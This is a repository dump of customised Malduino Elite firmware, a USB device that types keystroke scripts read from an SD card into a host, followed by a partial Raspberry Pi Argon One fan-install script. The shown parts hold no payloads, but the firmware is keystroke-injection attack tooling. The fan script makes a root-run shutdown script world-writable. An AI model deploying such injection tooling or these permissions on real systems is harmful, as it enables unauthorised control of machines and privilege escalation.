├── Customized Malduino Elite Software └── Elite │ ├── Keyboard.cpp │ ├── Keyboard.h │ └── elite.ino ├── Jjgw.wav ├── KaliArgonOne.sh ├── Malduino Elite Scripts ├── 0000.ero ├── 0001.ero ├── 0010.ero ├── 0011.ero ├── 0100.ero ├── 0101.ero ├── 0110.ero ├── 0111.ero ├── 1000.ero ├── 1001.ero ├── 1010.ero ├── 1011.ero ├── 1110.ero ├── 1111.ero └── LIST.txt ├── README.md ├── Registry.zip ├── Tvnc.msi └── vlc.zip /Customized Malduino Elite Software/Elite/Keyboard.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | Keyboard.cpp 3 | 4 | Copyright (c) 2015, Arduino LLC 5 | Original code (pre-library): Copyright (c) 2011, Peter Barrett 6 | 7 | This library is free software; you can redistribute it and/or 8 | modify it under the terms of the GNU Lesser General Public 9 | License as published by the Free Software Foundation; either 10 | version 2.1 of the License, or (at your option) any later version. 11 | 12 | This library is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 15 | Lesser General Public License for more details. 16 | 17 | You should have received a copy of the GNU Lesser General Public 18 | License along with this library; if not, write to the Free Software 19 | Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 20 | */ 21 | 22 | #include "Keyboard.h" 23 | 24 | #if defined(_USING_HID) 25 | 26 | //================================================================================ 27 | //================================================================================ 28 | // Keyboard 29 | 30 | static const uint8_t _hidReportDescriptor[] PROGMEM = { 31 | 32 | // Keyboard 33 | 0x05, 0x01, // USAGE_PAGE (Generic Desktop) // 47 34 | 0x09, 0x06, // USAGE (Keyboard) 35 | 0xa1, 0x01, // COLLECTION (Application) 36 | 0x85, 0x02, // REPORT_ID (2) 37 | 0x05, 0x07, // USAGE_PAGE (Keyboard) 38 | 39 | 0x19, 0xe0, // USAGE_MINIMUM (Keyboard LeftControl) 40 | 0x29, 0xe7, // USAGE_MAXIMUM (Keyboard Right GUI) 41 | 0x15, 0x00, // LOGICAL_MINIMUM (0) 42 | 0x25, 0x01, // LOGICAL_MAXIMUM (1) 43 | 0x75, 0x01, // REPORT_SIZE (1) 44 | 45 | 0x95, 0x08, // REPORT_COUNT (8) 46 | 0x81, 0x02, // INPUT (Data,Var,Abs) 47 | 0x95, 0x01, // REPORT_COUNT (1) 48 | 0x75, 0x08, // REPORT_SIZE (8) 49 | 0x81, 0x03, // INPUT (Cnst,Var,Abs) 50 | 51 | 0x95, 0x06, // REPORT_COUNT (6) 52 | 0x75, 0x08, // REPORT_SIZE (8) 53 | 0x15, 0x00, // LOGICAL_MINIMUM (0) 54 | 0x25, 0x65, // LOGICAL_MAXIMUM (101) 55 | 0x05, 0x07, // USAGE_PAGE (Keyboard) 56 | 57 | 0x19, 0x00, // USAGE_MINIMUM (Reserved (no event indicated)) 58 | 0x29, 0x65, // USAGE_MAXIMUM (Keyboard Application) 59 | 0x81, 0x00, // INPUT (Data,Ary,Abs) 60 | 0xc0, // END_COLLECTION 61 | }; 62 | 63 | Keyboard_::Keyboard_(void) 64 | { 65 | static HIDSubDescriptor node(_hidReportDescriptor, sizeof(_hidReportDescriptor)); 66 | HID().AppendDescriptor(&node); 67 | } 68 | 69 | void Keyboard_::begin(void) 70 | { 71 | } 72 | 73 | void Keyboard_::end(void) 74 | { 75 | } 76 | 77 | void Keyboard_::sendReport(KeyReport* keys) 78 | { 79 | HID().SendReport(2,keys,sizeof(KeyReport)); 80 | } 81 | 82 | extern 83 | const uint8_t _asciimap[128] PROGMEM; 84 | 85 | /*[Language Files are provided by LocaleKeyboard.js (Licensed under MIT) - for more information visit: https://github.com/Nurrl/LocaleKeyboard.js]*/ 86 | /* 87 | * _asciimap took from Keyboard.cpp, don't need to be modified 88 | */ 89 | 90 | #define SHIFT 0x80 91 | const uint8_t _asciimap[128] = 92 | { 93 | 0x00, // NUL 94 | 0x00, // SOH 95 | 0x00, // STX 96 | 0x00, // ETX 97 | 0x00, // EOT 98 | 0x00, // ENQ 99 | 0x00, // ACK 100 | 0x00, // BEL 101 | 0x2a, // BS Backspace 102 | 0x2b, // TAB Tab 103 | 0x28, // LF Enter 104 | 0x00, // VT 105 | 0x00, // FF 106 | 0x00, // CR 107 | 0x00, // SO 108 | 0x00, // SI 109 | 0x00, // DEL 110 | 0x00, // DC1 111 | 0x00, // DC2 112 | 0x00, // DC3 113 | 0x00, // DC4 114 | 0x00, // NAK 115 | 0x00, // SYN 116 | 0x00, // ETB 117 | 0x00, // CAN 118 | 0x00, // EM 119 | 0x00, // SUB 120 | 0x00, // ESC 121 | 0x00, // FS 122 | 0x00, // GS 123 | 0x00, // RS 124 | 0x00, // US 125 | 126 | 0x2c, // ' ' 127 | 0x1e|SHIFT, // ! 128 | 0x34|SHIFT, // " 129 | 0x20|SHIFT, // # 130 | 0x21|SHIFT, // $ 131 | 0x22|SHIFT, // % 132 | 0x24|SHIFT, // & 133 | 0x34, // ' 134 | 0x26|SHIFT, // ( 135 | 0x27|SHIFT, // ) 136 | 0x25|SHIFT, // * 137 | 0x2e|SHIFT, // + 138 | 0x36, // , 139 | 0x2d, // - 140 | 0x37, // . 141 | 0x38, // / 142 | 0x27, // 0 143 | 0x1e, // 1 144 | 0x1f, // 2 145 | 0x20, // 3 146 | 0x21, // 4 147 | 0x22, // 5 148 | 0x23, // 6 149 | 0x24, // 7 150 | 0x25, // 8 151 | 0x26, // 9 152 | 0x33|SHIFT, // : 153 | 0x33, // ; 154 | 0x36|SHIFT, // < 155 | 0x2e, // = 156 | 0x37|SHIFT, // > 157 | 0x38|SHIFT, // ? 158 | 0x1f|SHIFT, // @ 159 | 0x04|SHIFT, // A 160 | 0x05|SHIFT, // B 161 | 0x06|SHIFT, // C 162 | 0x07|SHIFT, // D 163 | 0x08|SHIFT, // E 164 | 0x09|SHIFT, // F 165 | 0x0a|SHIFT, // G 166 | 0x0b|SHIFT, // H 167 | 0x0c|SHIFT, // I 168 | 0x0d|SHIFT, // J 169 | 0x0e|SHIFT, // K 170 | 0x0f|SHIFT, // L 171 | 0x10|SHIFT, // M 172 | 0x11|SHIFT, // N 173 | 0x12|SHIFT, // O 174 | 0x13|SHIFT, // P 175 | 0x14|SHIFT, // Q 176 | 0x15|SHIFT, // R 177 | 0x16|SHIFT, // S 178 | 0x17|SHIFT, // T 179 | 0x18|SHIFT, // U 180 | 0x19|SHIFT, // V 181 | 0x1a|SHIFT, // W 182 | 0x1b|SHIFT, // X 183 | 0x1c|SHIFT, // Y 184 | 0x1d|SHIFT, // Z 185 | 0x2f, // [ 186 | 0x31, // bslash 187 | 0x30, // ] 188 | 0x23|SHIFT, // ^ 189 | 0x2d|SHIFT, // _ 190 | 0x35, // ` 191 | 0x04, // a 192 | 0x05, // b 193 | 0x06, // c 194 | 0x07, // d 195 | 0x08, // e 196 | 0x09, // f 197 | 0x0a, // g 198 | 0x0b, // h 199 | 0x0c, // i 200 | 0x0d, // j 201 | 0x0e, // k 202 | 0x0f, // l 203 | 0x10, // m 204 | 0x11, // n 205 | 0x12, // o 206 | 0x13, // p 207 | 0x14, // q 208 | 0x15, // r 209 | 0x16, // s 210 | 0x17, // t 211 | 0x18, // u 212 | 0x19, // v 213 | 0x1a, // w 214 | 0x1b, // x 215 | 0x1c, // y 216 | 0x1d, // z 217 | 0x2f|SHIFT, // { 218 | 0x31|SHIFT, // | 219 | 0x30|SHIFT, // } 220 | 0x35|SHIFT, // ~ 221 | 0 // DEL 222 | }; 223 | 224 | // Init var 225 | bool _altGrMap[128]; 226 | bool _altFine = false; 227 | 228 | // Individually define all needed char 229 | void initAltGr() {_altFine = true;} 230 | 231 | uint8_t USBPutChar(uint8_t c); 232 | 233 | // press() adds the specified key (printing, non-printing, or modifier) 234 | // to the persistent key report and sends the report. Because of the way 235 | // USB HID works, the host acts like the key remains pressed until we 236 | // call release(), releaseAll(), or otherwise clear the report and resend. 237 | size_t Keyboard_::press(uint8_t k) 238 | { 239 | uint8_t i; 240 | if (k >= 136) { // it's a non-printing key (not a modifier) 241 | k = k - 136; 242 | } else if (k >= 128) { // it's a modifier key 243 | _keyReport.modifiers |= (1<<(k-128)); 244 | k = 0; 245 | } else { // it's a printing key 246 | int oldKey = k; 247 | k = pgm_read_byte(_asciimap + k); 248 | if (!k) { 249 | setWriteError(); 250 | return 0; 251 | } 252 | 253 | #ifdef ADD_ALTGR 254 | if (!_altFine) initAltGr(); 255 | if (_altGrMap[oldKey]){ 256 | _keyReport.modifiers |= 0x40; 257 | } else { 258 | _keyReport.modifiers = 0; 259 | } 260 | #endif 261 | 262 | if (k & 0x80) { // it's a capital letter or other character reached with shift 263 | _keyReport.modifiers |= 0x02; // the left shift modifier 264 | k &= 0x7F; 265 | } 266 | } 267 | 268 | // Add k to the key report only if it's not already present 269 | // and if there is an empty slot. 270 | if (_keyReport.keys[0] != k && _keyReport.keys[1] != k && 271 | _keyReport.keys[2] != k && _keyReport.keys[3] != k && 272 | _keyReport.keys[4] != k && _keyReport.keys[5] != k) { 273 | 274 | for (i=0; i<6; i++) { 275 | if (_keyReport.keys[i] == 0x00) { 276 | _keyReport.keys[i] = k; 277 | break; 278 | } 279 | } 280 | if (i == 6) { 281 | setWriteError(); 282 | return 0; 283 | } 284 | } 285 | sendReport(&_keyReport); 286 | return 1; 287 | } 288 | 289 | // release() takes the specified key out of the persistent key report and 290 | // sends the report. This tells the OS the key is no longer pressed and that 291 | // it shouldn't be repeated any more. 292 | size_t Keyboard_::release(uint8_t k) 293 | { 294 | uint8_t i; 295 | if (k >= 136) { // it's a non-printing key (not a modifier) 296 | k = k - 136; 297 | } else if (k >= 128) { // it's a modifier key 298 | _keyReport.modifiers &= ~(1<<(k-128)); 299 | k = 0; 300 | } else { // it's a printing key 301 | k = pgm_read_byte(_asciimap + k); 302 | if (!k) { 303 | return 0; 304 | } 305 | if (k & 0x80) { // it's a capital letter or other character reached with shift 306 | _keyReport.modifiers &= ~(0x02); // the left shift modifier 307 | k &= 0x7F; 308 | } 309 | } 310 | 311 | // Test the key report to see if k is present. Clear it if it exists. 312 | // Check all positions in case the key is present more than once (which it shouldn't be) 313 | for (i=0; i<6; i++) { 314 | if (0 != k && _keyReport.keys[i] == k) { 315 | _keyReport.keys[i] = 0x00; 316 | } 317 | } 318 | 319 | sendReport(&_keyReport); 320 | return 1; 321 | } 322 | 323 | void Keyboard_::releaseAll(void) 324 | { 325 | _keyReport.keys[0] = 0; 326 | _keyReport.keys[1] = 0; 327 | _keyReport.keys[2] = 0; 328 | _keyReport.keys[3] = 0; 329 | _keyReport.keys[4] = 0; 330 | _keyReport.keys[5] = 0; 331 | _keyReport.modifiers = 0; 332 | sendReport(&_keyReport); 333 | } 334 | 335 | size_t Keyboard_::write(uint8_t c) 336 | { 337 | uint8_t p = press(c); // Keydown 338 | release(c); // Keyup 339 | return p; // just return the result of press() since release() almost always returns 1 340 | } 341 | 342 | Keyboard_ Keyboard; 343 | 344 | #endif 345 | -------------------------------------------------------------------------------- /Customized Malduino Elite Software/Elite/Keyboard.h: -------------------------------------------------------------------------------- 1 | /* 2 | Keyboard.h 3 | 4 | Copyright (c) 2015, Arduino LLC 5 | Original code (pre-library): Copyright (c) 2011, Peter Barrett 6 | 7 | This library is free software; you can redistribute it and/or 8 | modify it under the terms of the GNU Lesser General Public 9 | License as published by the Free Software Foundation; either 10 | version 2.1 of the License, or (at your option) any later version. 11 | 12 | This library is distributed in the hope that it will be useful, 13 | but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 15 | Lesser General Public License for more details. 16 | 17 | You should have received a copy of the GNU Lesser General Public 18 | License along with this library; if not, write to the Free Software 19 | Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 20 | */ 21 | 22 | #ifndef KEYBOARD_h 23 | #define KEYBOARD_h 24 | 25 | #include "HID.h" 26 | 27 | #if !defined(_USING_HID) 28 | 29 | #warning "Using legacy HID core (non pluggable)" 30 | 31 | #else 32 | 33 | //================================================================================ 34 | //================================================================================ 35 | // Keyboard 36 | 37 | #define KEY_LEFT_CTRL 0x80 38 | #define KEY_LEFT_SHIFT 0x81 39 | #define KEY_LEFT_ALT 0x82 40 | #define KEY_LEFT_GUI 0x83 41 | #define KEY_RIGHT_CTRL 0x84 42 | #define KEY_RIGHT_SHIFT 0x85 43 | #define KEY_RIGHT_ALT 0x86 44 | #define KEY_RIGHT_GUI 0x87 45 | 46 | #define KEY_UP_ARROW 0xDA 47 | #define KEY_DOWN_ARROW 0xD9 48 | #define KEY_LEFT_ARROW 0xD8 49 | #define KEY_RIGHT_ARROW 0xD7 50 | #define KEY_BACKSPACE 0xB2 51 | #define KEY_TAB 0xB3 52 | #define KEY_RETURN 0xB0 53 | #define KEY_ESC 0xB1 54 | #define KEY_INSERT 0xD1 55 | #define KEY_DELETE 0xD4 56 | #define KEY_PAGE_UP 0xD3 57 | #define KEY_PAGE_DOWN 0xD6 58 | #define KEY_HOME 0xD2 59 | #define KEY_END 0xD5 60 | #define KEY_CAPS_LOCK 0xC1 61 | #define KEY_F1 0xC2 62 | #define KEY_F2 0xC3 63 | #define KEY_F3 0xC4 64 | #define KEY_F4 0xC5 65 | #define KEY_F5 0xC6 66 | #define KEY_F6 0xC7 67 | #define KEY_F7 0xC8 68 | #define KEY_F8 0xC9 69 | #define KEY_F9 0xCA 70 | #define KEY_F10 0xCB 71 | #define KEY_F11 0xCC 72 | #define KEY_F12 0xCD 73 | 74 | // Low level key report: up to 6 keys and shift, ctrl etc at once 75 | typedef struct 76 | { 77 | uint8_t modifiers; 78 | uint8_t reserved; 79 | uint8_t keys[6]; 80 | } KeyReport; 81 | 82 | class Keyboard_ : public Print 83 | { 84 | private: 85 | KeyReport _keyReport; 86 | void sendReport(KeyReport* keys); 87 | public: 88 | Keyboard_(void); 89 | void begin(void); 90 | void end(void); 91 | size_t write(uint8_t k); 92 | size_t press(uint8_t k); 93 | size_t release(uint8_t k); 94 | void releaseAll(void); 95 | }; 96 | extern Keyboard_ Keyboard; 97 | 98 | #endif 99 | #endif 100 | -------------------------------------------------------------------------------- /Customized Malduino Elite Software/Elite/elite.ino: -------------------------------------------------------------------------------- 1 | /* 2 | ============================================================== 3 | Copyright (c) Wo17 Seytonic, Spacehuhn (Licensed under MIT) 4 | For more information see: github.com/seytonic/malduino 5 | ============================================================== 6 | */ 7 | 8 | #include 9 | #include 10 | #include "Keyboard.h" 11 | #include "Mouse.h" 12 | 13 | #define debug true // <-- uncomment to turn serial output on 14 | #define CSpin 4 //Chip-Select of the SD-Card reader 15 | #define ledPin 3 16 | #define blinkInterval 50 17 | 18 | //Dip-Switch Pins: 19 | #define dip1 6 20 | #define dip2 8 21 | #define dip3 9 22 | #define dip4 10 23 | 24 | #define buffersize 256 25 | 26 | #define KEYPAD_0 234 27 | #define KEYPAD_1 225 28 | #define KEYPAD_2 226 29 | #define KEYPAD_3 227 30 | #define KEYPAD_4 228 31 | #define KEYPAD_5 229 32 | #define KEYPAD_6 230 33 | #define KEYPAD_7 231 34 | #define KEYPAD_8 232 35 | #define KEYPAD_9 233 36 | #define KEYPAD_ASTERIX 221 37 | #define KEYPAD_ENTER 224 38 | #define KEYPAD_MINUS 222 39 | #define KEYPAD_PERIOD 235 40 | #define KEYPAD_PLUS 223 41 | #define KEYPAD_SLASH 220 42 | #define PRINTSCREEN 206 43 | 44 | File payload; 45 | char* buf = malloc(sizeof(char)*buffersize); 46 | char* repeatBuffer = malloc(sizeof(char)*12); 47 | 48 | int bufSize = 0; 49 | int defaultDelay = 5; 50 | int defaultCharDelay = 5; 51 | bool ledOn = true; 52 | int rMin = -100; 53 | int rMax = 100; 54 | 55 | int getSpace(int start, int end){ 56 | for(int i=start;i= 0 && space < bufSize){ 130 | int nSpace = getSpace(space+1,bufSize); 131 | if(nSpace == -1) nSpace = bufSize; 132 | runCommand(space+1,nSpace); 133 | space = nSpace; 134 | } 135 | } 136 | } 137 | 138 | Keyboard.releaseAll(); 139 | delay(defaultDelay); 140 | } 141 | 142 | void runCommand(int s, int e){ 143 | 144 | #ifdef debug 145 | Serial.println("Press '"+String(buf).substring(s,e)+"'"); 146 | #endif 147 | 148 | if(e - s < 2) Keyboard.press(buf[s]); 149 | else if(equalsBuffer(s,e,"ENTER")) Keyboard.press(KEY_RETURN); 150 | else if(equalsBuffer(s,e,"GUI") || equalsBuffer(s,e,"WINDOWS")) Keyboard.press(KEY_LEFT_GUI); 151 | else if(equalsBuffer(s,e,"SHIFT")) Keyboard.press(KEY_LEFT_SHIFT); 152 | else if(equalsBuffer(s,e,"ALT") ||equalsBuffer(s,e,"ALT_LEFT") ||equalsBuffer(s,e,"ALTLEFT")) Keyboard.press(KEY_LEFT_ALT); 153 | else if(equalsBuffer(s,e,"ALT_RIGHT") ||equalsBuffer(s,e,"ALTRIGHT")) Keyboard.press(KEY_RIGHT_ALT); 154 | else if(equalsBuffer(s,e,"CTRL") || equalsBuffer(s,e,"CONTROL")) Keyboard.press(KEY_LEFT_CTRL); 155 | else if(equalsBuffer(s,e,"CAPSLOCK")) Keyboard.press(KEY_CAPS_LOCK); 156 | else if(equalsBuffer(s,e,"DELETE")) Keyboard.press(KEY_DELETE); 157 | else if(equalsBuffer(s,e,"END")) Keyboard.press(KEY_END); 158 | else if(equalsBuffer(s,e,"ESC") || equalsBuffer(s,e,"ESCAPE")) Keyboard.press(KEY_ESC); 159 | else if(equalsBuffer(s,e,"HOME")) Keyboard.press(KEY_HOME); 160 | else if(equalsBuffer(s,e,"INSERT")) Keyboard.press(KEY_INSERT); 161 | else if(equalsBuffer(s,e,"PAGEUP")) Keyboard.press(KEY_PAGE_UP); 162 | else if(equalsBuffer(s,e,"PAGEDOWN")) Keyboard.press(KEY_PAGE_DOWN); 163 | else if(equalsBuffer(s,e,"TAB")) Keyboard.press(KEY_TAB); 164 | else if(equalsBuffer(s,e,"BACKSPACE")) Keyboard.press(KEY_BACKSPACE); 165 | 166 | else if(equalsBuffer(s,e,"UP") || equalsBuffer(s,e,"UPARROW")) Keyboard.press(KEY_UP_ARROW); 167 | else if(equalsBuffer(s,e,"DOWN") || equalsBuffer(s,e,"DOWNARROW")) Keyboard.press(KEY_DOWN_ARROW); 168 | else if(equalsBuffer(s,e,"LEFT") || equalsBuffer(s,e,"LEFTARROW")) Keyboard.press(KEY_LEFT_ARROW); 169 | else if(equalsBuffer(s,e,"RIGHT") || equalsBuffer(s,e,"RIGHTARROW")) Keyboard.press(KEY_RIGHT_ARROW); 170 | 171 | else if(equalsBuffer(s,e,"PRINTSCREEN")) Keyboard.press(PRINTSCREEN); 172 | 173 | else if(equalsBuffer(s,e,"F1")) Keyboard.press(KEY_F1); 174 | else if(equalsBuffer(s,e,"F2")) Keyboard.press(KEY_F2); 175 | else if(equalsBuffer(s,e,"F3")) Keyboard.press(KEY_F3); 176 | else if(equalsBuffer(s,e,"F4")) Keyboard.press(KEY_F4); 177 | else if(equalsBuffer(s,e,"F5")) Keyboard.press(KEY_F5); 178 | else if(equalsBuffer(s,e,"F6")) Keyboard.press(KEY_F6); 179 | else if(equalsBuffer(s,e,"F7")) Keyboard.press(KEY_F7); 180 | else if(equalsBuffer(s,e,"F8")) Keyboard.press(KEY_F8); 181 | else if(equalsBuffer(s,e,"F9")) Keyboard.press(KEY_F9); 182 | else if(equalsBuffer(s,e,"F10")) Keyboard.press(KEY_F10); 183 | else if(equalsBuffer(s,e,"F11")) Keyboard.press(KEY_F11); 184 | else if(equalsBuffer(s,e,"F12")) Keyboard.press(KEY_F12); 185 | 186 | else if(equalsBuffer(s,e,"NUM_0")) KeyboardWrite(KEYPAD_0); 187 | else if(equalsBuffer(s,e,"NUM_1")) KeyboardWrite(KEYPAD_1); 188 | else if(equalsBuffer(s,e,"NUM_2")) KeyboardWrite(KEYPAD_2); 189 | else if(equalsBuffer(s,e,"NUM_3")) KeyboardWrite(KEYPAD_3); 190 | else if(equalsBuffer(s,e,"NUM_4")) KeyboardWrite(KEYPAD_4); 191 | else if(equalsBuffer(s,e,"NUM_5")) KeyboardWrite(KEYPAD_5); 192 | else if(equalsBuffer(s,e,"NUM_6")) KeyboardWrite(KEYPAD_6); 193 | else if(equalsBuffer(s,e,"NUM_7")) KeyboardWrite(KEYPAD_7); 194 | else if(equalsBuffer(s,e,"NUM_8")) KeyboardWrite(KEYPAD_8); 195 | else if(equalsBuffer(s,e,"NUM_9")) KeyboardWrite(KEYPAD_9); 196 | else if(equalsBuffer(s,e,"NUM_ASTERIX")) KeyboardWrite(KEYPAD_ASTERIX); 197 | else if(equalsBuffer(s,e,"NUM_ENTER")) KeyboardWrite(KEYPAD_ENTER); 198 | else if(equalsBuffer(s,e,"NUM_Minus")) KeyboardWrite(KEYPAD_MINUS); 199 | else if(equalsBuffer(s,e,"NUM_PERIOD")) KeyboardWrite(KEYPAD_PERIOD); 200 | else if(equalsBuffer(s,e,"NUM_PLUS")) KeyboardWrite(KEYPAD_PLUS); 201 | 202 | else if(equalsBuffer(s,e,"CLICK") || equalsBuffer(s,e,"CLICK_LEFT") || equalsBuffer(s,e,"MOUSECLICK")) Mouse.click(); 203 | else if(equalsBuffer(s,e,"CLICK_RIGHT")) Mouse.click(MOUSE_RIGHT); 204 | else if(equalsBuffer(s,e,"CLICK_MIDDLE")) Mouse.click(MOUSE_MIDDLE); 205 | 206 | else if(equalsBuffer(s,e,"PRESS") || equalsBuffer(s,e,"PRESS_LEFT")) Mouse.press(); 207 | else if(equalsBuffer(s,e,"PRESS_LEFT")) Mouse.press(MOUSE_RIGHT); 208 | else if(equalsBuffer(s,e,"PRESS_MIDDLE")) Mouse.press(MOUSE_MIDDLE); 209 | else if(equalsBuffer(s,e,"RELEASE") || equalsBuffer(s,e,"RELEASE_LEFT")) Mouse.release(); 210 | else if(equalsBuffer(s,e,"RELEASE_LEFT")) Mouse.release(MOUSE_RIGHT); 211 | else if(equalsBuffer(s,e,"RELEASE_MIDDLE")) Mouse.release(MOUSE_MIDDLE); 212 | 213 | #ifdef debug 214 | else Serial.println("failed to find command"); 215 | #endif 216 | } 217 | 218 | void setup() { 219 | #ifdef debug 220 | Serial.begin(115200); 221 | delay(2000); 222 | Serial.println("Started!"); 223 | #endif 224 | 225 | randomSeed(analogRead(0)); 226 | 227 | pinMode(ledPin, OUTPUT); 228 | digitalWrite(ledPin, HIGH); 229 | 230 | String scriptName; 231 | 232 | pinMode(dip1, INPUT_PULLUP); 233 | pinMode(dip2, INPUT_PULLUP); 234 | pinMode(dip3, INPUT_PULLUP); 235 | pinMode(dip4, INPUT_PULLUP); 236 | 237 | if(digitalRead(dip1) == LOW){scriptName += '1';} else {scriptName += '0';} 238 | if(digitalRead(dip2) == LOW){scriptName += '1';} else {scriptName += '0';} 239 | if(digitalRead(dip3) == LOW){scriptName += '1';} else {scriptName += '0';} 240 | if(digitalRead(dip4) == LOW){scriptName += '1';} else {scriptName += '0';} 241 | 242 | scriptName += ".ero"; 243 | 244 | if(!SD.begin(4)) { 245 | #ifdef debug 246 | Serial.println("couldn't access sd-card :("); 247 | #endif 248 | return; 249 | } 250 | 251 | payload = SD.open(scriptName, FILE_READ); 252 | if(!payload){ 253 | #ifdef debug 254 | Serial.println("couldn't find script: '"+String(scriptName)+"'"); 255 | #endif 256 | return; 257 | }else{ 258 | Keyboard.begin(); 259 | Mouse.begin(); 260 | while(payload.available()){ 261 | 262 | buf[bufSize] = payload.read(); 263 | if(buf[bufSize] == '\r' || buf[bufSize] == '\n' || bufSize >= buffersize){ 264 | if(buf[bufSize] == '\r' && payload.peek() == '\n') payload.read(); 265 | 266 | //---------REPEAT--------- 267 | int repeatBufferSize = 0; 268 | int repeats = 0; 269 | unsigned long payloadPosition = payload.position(); 270 | 271 | for(int i=0;i<12;i++){ 272 | if(payload.available()){ 273 | repeatBuffer[repeatBufferSize] = payload.read(); 274 | repeatBufferSize++; 275 | }else break; 276 | } 277 | 278 | if(repeatBufferSize > 6){ 279 | if(equals(repeatBuffer, 0, 6, "REPEAT", 6)){ 280 | repeats = getInt(repeatBuffer, 6); 281 | } 282 | } 283 | 284 | for(int i=0;i 0){ 295 | runLine(); 296 | bufSize = 0; 297 | } 298 | payload.close(); 299 | Mouse.end(); 300 | Keyboard.end(); 301 | } 302 | } 303 | 304 | void loop() { 305 | ledOn = !ledOn; 306 | digitalWrite(ledPin, ledOn); 307 | delay(blinkInterval); 308 | } 309 | -------------------------------------------------------------------------------- /Jjgw.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gyanbu/MalduinoScripts/d9297fa1f2cce4ebaa847989e67d0b903327ac46/Jjgw.wav -------------------------------------------------------------------------------- /KaliArgonOne.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # NOTE(cme): this script is based on the original script 4 | # for the argon1 case supposed to run on raspbian 5 | # Modifications were made to work on Ubuntu 20.04 6 | # This script was tested on a Raspberry Pi 4, with 4Gb RAM 7 | 8 | argon_create_file() { 9 | if [ -f $1 ]; then 10 | sudo rm $1 11 | fi 12 | sudo touch $1 13 | sudo chmod 666 $1 14 | } 15 | 16 | argon_check_pkg() { 17 | RESULT=$(dpkg-query -W -f='${Status}\n' "$1" 2> /dev/null | grep "installed") 18 | 19 | if [ "" == "$RESULT" ]; then 20 | echo "NG" 21 | else 22 | echo "OK" 23 | fi 24 | } 25 | 26 | # NOTE(cme): original raspbian packages 27 | # pkglist=(raspi-gpio python-rpi.gpio python3-rpi.gpio python-smbus python3-smbus i2c-tools) 28 | 29 | # NOTE(cme): ubuntu packages; since python2 is not supported - not well anyway, 30 | # we'll modify everything to work with python3) 31 | pkglist=(python3-rpi.gpio python3-smbus) 32 | 33 | echo "*****************************************************" 34 | echo "Step 1 - installing necessary dependencies " 35 | echo "*****************************************************" 36 | for curpkg in ${pkglist[@]}; do 37 | sudo apt-get install -y $curpkg 38 | RESULT=$(argon_check_pkg "$curpkg") 39 | if [ "NG" == "$RESULT" ] 40 | then 41 | echo "********************************************************************" 42 | echo "Please also connect device to the internet and restart installation." 43 | echo "********************************************************************" 44 | exit 45 | fi 46 | done 47 | 48 | # NOTE(cme): don't assume /home/pi 49 | desktop="/home/$(whoami)/Desktop" 50 | 51 | daemonname="argononed" 52 | powerbuttonscript=/usr/bin/$daemonname.py 53 | shutdownscript="/lib/systemd/system-shutdown/"$daemonname"-poweroff.py" 54 | daemonconfigfile=/etc/$daemonname.conf 55 | configscript=/usr/bin/argonone-config 56 | removescript=/usr/bin/argonone-uninstall 57 | tempmonscript=/usr/bin/argonone-tempmon 58 | 59 | daemonfanservice=/lib/systemd/system/$daemonname.service 60 | 61 | # NOTE(cme): this is apparently used to enable i2c and serial. 62 | # not sure if this is already done on Ubuntu... 63 | # sudo raspi-config nonint do_i2c 0 64 | # sudo raspi-config nonint do_serial 0 65 | 66 | 67 | echo "*****************************************************" 68 | echo "Step 2 - generating $daemonconfigfile" 69 | echo "*****************************************************" 70 | 71 | # NOTE(cme): this generates a config file where one can setup the fan curve 72 | # should work as is on Ubuntu. 73 | if [ ! -f $daemonconfigfile ]; then 74 | # Generate config file for fan speed 75 | sudo touch $daemonconfigfile 76 | sudo chmod 666 $daemonconfigfile 77 | echo '#' >> $daemonconfigfile 78 | echo '# Argon One Fan Configuration' >> $daemonconfigfile 79 | echo '#' >> $daemonconfigfile 80 | echo '# List below the temperature (Celsius) and fan speed (in percent) pairs' >> $daemonconfigfile 81 | echo '# Use the following form:' >> $daemonconfigfile 82 | echo '# min.temperature=speed' >> $daemonconfigfile 83 | echo '#' >> $daemonconfigfile 84 | echo '# Example:' >> $daemonconfigfile 85 | echo '# 55=10' >> $daemonconfigfile 86 | echo '# 60=55' >> $daemonconfigfile 87 | echo '# 65=100' >> $daemonconfigfile 88 | echo '#' >> $daemonconfigfile 89 | echo '# Above example sets the fan speed to' >> $daemonconfigfile 90 | echo '#' >> $daemonconfigfile 91 | echo '# NOTE: Lines begining with # are ignored' >> $daemonconfigfile 92 | echo '#' >> $daemonconfigfile 93 | echo '# Type the following at the command line for changes to take effect:' >> $daemonconfigfile 94 | echo '# sudo systemctl restart '$daemonname'.service' >> $daemonconfigfile 95 | echo '#' >> $daemonconfigfile 96 | echo '# Start below:' >> $daemonconfigfile 97 | echo '55=10' >> $daemonconfigfile 98 | echo '60=55' >> $daemonconfigfile 99 | echo '65=100' >> $daemonconfigfile 100 | fi 101 | 102 | 103 | echo "*****************************************************" 104 | echo "Step 3 - generating $shutdownscript " 105 | echo "*****************************************************" 106 | 107 | 108 | # NOTE(cme): this generates a shutdown script originally using python2; 109 | # here adapted to work with python3 110 | 111 | argon_create_file $shutdownscript 112 | 113 | echo "#!/usr/bin/python3" >> $shutdownscript 114 | echo >> $shutdownscript 115 | 116 | echo 'import sys' >> $shutdownscript 117 | echo 'import smbus' >> $shutdownscript 118 | echo 'import RPi.GPIO as GPIO' >> $shutdownscript 119 | echo >> $shutdownscript 120 | 121 | echo 'rev = GPIO.RPI_REVISION' >> $shutdownscript 122 | echo 'if rev == 2 or rev == 3:' >> $shutdownscript 123 | echo ' bus = smbus.SMBus(1)' >> $shutdownscript 124 | echo 'else:' >> $shutdownscript 125 | echo ' bus = smbus.SMBus(0)' >> $shutdownscript 126 | echo >> $shutdownscript 127 | 128 | echo 'if len(sys.argv)>1:' >> $shutdownscript 129 | echo " bus.write_byte(0x1a,0)" >> $shutdownscript 130 | echo ' if sys.argv[1] == "poweroff" or sys.argv[1] == "halt":' >> $shutdownscript 131 | echo " try:" >> $shutdownscript 132 | echo " bus.write_byte(0x1a,0xFF)" >> $shutdownscript 133 | echo 